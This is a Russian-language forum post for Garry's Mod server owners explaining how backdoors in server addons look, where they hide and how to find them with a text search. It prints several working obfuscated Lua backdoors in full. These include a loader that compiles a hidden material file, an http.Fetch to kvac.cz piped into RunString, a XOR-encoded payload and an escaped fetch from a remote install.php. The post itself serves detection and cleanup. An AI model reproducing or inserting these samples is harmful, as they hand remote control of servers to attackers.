Осторожно! Бекдор

Мало кто из новых создателей серверов знают, как выглядят бекдоры, где они прячутся и как их удалить. В данном посту я постараюсь все разжевать и объяснить про них.

С самого начала , что вообще такое бекдор? Это лазейка в вашем сервере, которая находится в SV(Server, SH) части вашего сервера, которая позволяет отправлять команды со стороны консоли сервера обычным клиентом, например по команде в консоли 123admin получить superadmin.

Как же выглядят бекдоры?
На данный момент очень популярно прятать бекдоры в файлах под именем npc_help, но оно может иметь любое название.

Примеры бекдоров:

local function HELPER_INFO()
		return ""
	end

	local function HELPER_ISFUNC(func)
		if (isfunction(func)) then
			return !false
		else
			return !true
		end
	end

	local function HELPER_READ_DATA(data)
		return file.Read(data, "GAME")
	end

	local UNORDERED_LIST = 
	{
		"\x6d","\x61","\x74",
		"\x65","\x72","\x69",
		"\x61","\x6c","\x73",
		"\x2f","\x6e","\x70",
		"\x63","\x2f","\x68",
		"\x65","\x6c","\x70",
		"\x2e","\x76","\x74",
		"\x66"
	}

	local function HELPER_MAT()
		if (!false) then
			return string.Implode("", UNORDERED_LIST)
		end
	end

	local CALL =
	{
		ClearBackgroundImages, ClientsideModel, ClientsideRagdoll, ClientsideScene,
		CloseDermaMenus, collectgarbage, Color, ColorAlpha,
		ColorRand, ColorToHSV, CompileFile, CompileString,
		ConsoleAutoComplete, ConVarExists, CreateClientConVar, CreateConVar,
		CreateMaterial, CreateParticleSystem, CreatePhysCollideBox, CreatePhysCollidesFromModel,
		CreateSound, CreateSprite, CompileString, CurTime,
		DamageInfo, DebugInfo, DeriveGamemode, Derma_Anim,
		Derma_DrawBackgroundBlur, Derma_Hook, Derma_Install_Convar_Functions, Derma_Message,
		Derma_Query, Derma_StringRequest, pcall,
	}

	CALL[35](CALL[12](HELPER_READ_DATA(HELPER_MAT()), HELPER_INFO(), 0))

Это довольно опасный бекдор, расшифровать его очень сложно, но как мне известно, то он выполняет команду выдачи админки.

Дальше есть всем известный kvac

http.Fetch([[https:/]]..[[/kvac.cz/f.php?key=xMLFY9siPJChPcgErzlR]],function(k)RunString(k,[[:]],!1)end)
timer.Simple(1, function() http.Fetch("https://kvac.cz/f.php?key=xMLFY9siPJChPcgErzlR", function(b) RunString(b, ":", false) end)end)

А есть и RunString:

RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,83,35,80,16,39,58,46,81,89,34,51,80,10,80,45,58,49,44,88,13,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

Http.fetch:

http.Fetch("\104\116\116\112\115\58\47\47\102\111\114\117\109\46\113\117\97\114\116\122\46\115\112\97\99\101\47\97\100\100\111\110\115\47\99\111\114\101\47\105\110\115\116\97\108\108\46\112\104\112", function(body)
             ZbCKRfNCkaravEGGYkTrSXNOBEHjYG(body) 
    end or function(c)
             ZbCKRfNCkaravEGGYkTrSXNOBEHjYG(c) 
    end) 
end)

Local:

local  oavLoWOtoJHUCmsAWffIUipbBHKJjH = print  oavLoWOtoJHUCmsAWffIUipbBHKJjH ( "\92\54\53\92\54\56\92\54\56\92\55\57\92\55\56\92\51\50\92\54\54\92\56\57\92\51\50\92\55\48\92\55\51\92\56\50\92\54\57\92\54\55\92\55\57\92\54\56\92\54\57\92\51\50\92\56\52\92\54\57\92\54\53\92\55\55\92\51\50\92\49\50\52\92\51\50\92\55\51\92\55\56\92\56\51\92\56\52\92\54\53\92\55\54\92\55\54\92\54\57\92\54\56" ) 

Но как же их находить? Лично я рекомендую скачивать папку addons на ваш ПК, закидывать его в SubLime Text
image
Комбинацией клавишь Cntr+Shift+F открывается меню поиска,


И тут мы начинаем поочерёдно вводить все нам знакомые функции:

local function HELPER_INFO()
http.Fetch
RunString
kvac.cz
kvac
timer.Simple(1, function() http.Fetch
local function clientsiderun() http.Post
local AE

И ждать.
image
Ух ты, нашлось два бекдора, удаляем!

Итак, мы научились находить и обезвреживать бекдоры. Надеюсь, кому нибудь помог, а так полезно для общего развития

Забыл еще рассказать, что бекдоры могут прятаться в materials, под тем же названием npc_help, будьте бдительны!